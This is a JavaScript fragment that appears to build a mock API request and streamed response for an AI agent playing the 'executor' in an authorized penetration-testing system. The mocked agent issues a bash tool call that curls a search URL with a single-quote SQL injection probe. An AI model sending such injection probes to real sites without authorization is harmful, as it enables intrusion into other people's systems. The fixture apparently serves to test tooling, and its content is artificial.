raw_request: JSON.stringify({
model: item.model,
max_tokens: 8192,
stream: true,
system: [
{ type: "text", text: "你是一个授权渗透测试系统的「执行者」…(省略)", cache_control: { type: "ephemeral" } },
],
messages: [{ role: "user", content: "开始执行 system 提示里的这条意图:只做它、只产生事实、做完即停。" }],
tools: [
{
name: "bash",
description: "在目标环境中执行一条 shell 命令并返回其输出。",
input_schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] },
},
],
thinking: { type: "enabled" },
}),
raw_response: [
`event: message_start`,
`data: {"type":"message_start","message":{"id":"msg_01mock","model":"${item.model}","usage":{"input_tokens":${item.input_tokens},"output_tokens":1}}}`,
``,
`event: content_block_delta`,
`data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"对 search?q= 执行注入检测。"}}`,
``,
`event: content_block_start`,
`data: {"type":"content_block_start","index":1,"content_block":{"type":"tool_use","id":"toolu_01mock","name":"bash"}}`,
``,
`event: content_block_delta`,
`data: {"type":"content_block_delta","index":1,"delta":{"type":"input_json_delta","partial_json":"{\\"command\\":\\"curl -s 'https://www.acme.com/search?q=1%27'\\"}"}}`,
``,
`event: message_delta`,
`data: {"type":"message_delta","delta":{"stop_reason":"tool_use"},"usage":{"output_tokens":${item.output_tokens}}}`,
``,
`event: message_stop`,
`data: {"type":"message_stop"}`,
``,
].join("\n"),
};
}